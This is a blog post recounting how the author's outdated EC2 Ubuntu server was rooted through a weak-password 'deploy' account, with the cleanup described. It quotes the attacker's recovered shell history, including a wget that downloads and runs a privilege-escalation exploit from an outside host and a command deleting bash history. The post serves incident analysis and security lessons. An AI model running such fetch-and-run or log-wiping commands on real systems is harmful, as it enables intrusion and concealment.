As you might know, there was a little bit of downtime… from December 28 to January 6th. First of all, sorry about that… I was doing a bunch of holiday stuff. At any rate, when I noticed the EC2 instance was unresponsive, I figured it was the fault of EC2. So, I just rebooted the instance and went on my merry way.
Flash forward to today. I got on my box to do some maintenance, and saw the following warning:
~/tmp$ ls > ls: unrecognized prefix: do > ls: unparsable value for LS_COLORS environment variable.
“Well that’s weird”, I thought to myself. I googled around the internet, and came to the conclusion I’d been rooted. Turns out, I was right.
Mistake #1
Now comes the fun part of all of these. I had to track down just *how* it happened. First thing that I did was went to /var/log/auth.log. I see brute force attacks all the time, and it totally fills up the logs, so I went to when made the most sense — around the time the site when down. That’s when I noticed this entry:
Dec 28 14:03:25 ip-10-251-69-178 sshd[13661]: Accepted password for deploy from 92.82.99.209 port 2608 ssh2
Dec 28 14:03:25 ip-10-251-69-178 sshd[13661]: pam_unix(sshd:session): session opened for user deploy by (uid=0)
*slap*
I had forgotten I created a mostly temporary user named “deploy” with a weak password (umm… “deploy”). I thought it would be ok since that user had very little permissions — files I didn’t care about, no sudo access, etc. Boy, was I wrong. Which brings me to…
Mistake #2
Everyone always says keep your system up to date. I also think it’s a good practice. But do I? Of course not. I was using an outdated (non-updated) version of Ubuntu 8.10. Put yourself in the hax0rs shoes: if you were breaking into a box, had user access, the os was out of date, and you wanted root, how would you do it? A rootkit, of course! And that’s exactly what happened…
w
uname -a
id
sudo su
ls -a
cat .bash_history
cat /proc/cpuinfo
cat /etc/issue
cat /etc/hosts
wget http://members.lycos.co.uk/timisoara/l3.tar.gz;tar zxvf l3.tar.gz;cd linux-sendpage3;chmod 777 *;./run;id
ls -a
rm -rf .bash_history
wget http://members.lycos.co.uk/timisoara/l3.tar.gz;tar zxvf l3.tar.gz;cd linux-sendpage3;chmod 777 *;./run;id
sudo su -
A little sidenote… if he removed the bash_history, how did I get this command history? Look closely… whatever script it was, it “cd”ed into the linux-sendpage3 directory before it rm’ed the bash_history. Sucka 
. Anyways, there’s the rootkit, and him logging in as root with “sudo su -”.
He was root. OMG!
The next part seems kind of fuzzy to me as to what he did. I didn’t have any logs (root’s bash_history was clean), and there were no logs anywhere else on the system. What I did have was one thing: ls was acting funky. Surely he replaced it, so at least it would be a start. Upon further inspection, it was owned by the user 122, and group messagebus. Well, at least that’s a start!
root@ip-10-251-69-178:~/bin# find / -user 122
/usr/bin/pstree
/usr/bin/top
/usr/bin/md5sum
/usr/bin/find
/bin/ps
/bin/ls
/bin/netstat
/sbin/ttyload
/sbin/ttymon
/sbin/ifconfig
It looks like he changed a bunch of important files here, he certainly didn’t want me snooping into what he was doing. Those modifications hid all the files and processes he was using, of course. So my next step was to restore those files so I could dig deeper into what was going on. With EC2, that’s a piece of cake — I fired up another Ubuntu 8.10 ami, and copied over the binaries. Here’s where I got bottlenecked… I was getting some silly “Permission denied” error, even though I was root! lsattr to the rescue.
root@ip-10-251-69-178:~/bin# lsattr /bin/ls
s---ia------------- /bin/ls
Super-secret permissions! no!
root@ip-10-251-69-178:~/bin# chattr -sia /bin/ls; mv /tmp/ls.fix /bin/ls
Whew, that was a close one.
Next, I ran the ‘find’ command to see if other files had shown up, and indeed they did. Two directories — “/usr/lib/libsh” and “/lib/libsh.so” were owned by this guy. There were a few utility scripts in these directories to clean logs and such, and also some program named mirkforce — which looks like some irc bot. So, all of this for some stupid script kiddie? Augh, lame.
There were two other things that I got bored with and didn’t look into anymore — a crontab as root that executed “/dev/s/y2kupdate >/dev/null” every minute (thanks for keeping my computer updated), and some dbus process that hogged a bunch of resources.
At any rate, there were two things that came out of this:
- Don’t use easy passwords. Ever.
- Keep your systems up-to-date.
I’m sure this entire thing was automated, so I didn’t fear stolen information so much (not that there was any to give). He left all my data in place, so I just ditched the whole box, fired up another EC2 instance, and was running on a fresh install of Ubuntu 9.10 in about 10 minutes. Amazon Web Services win again!
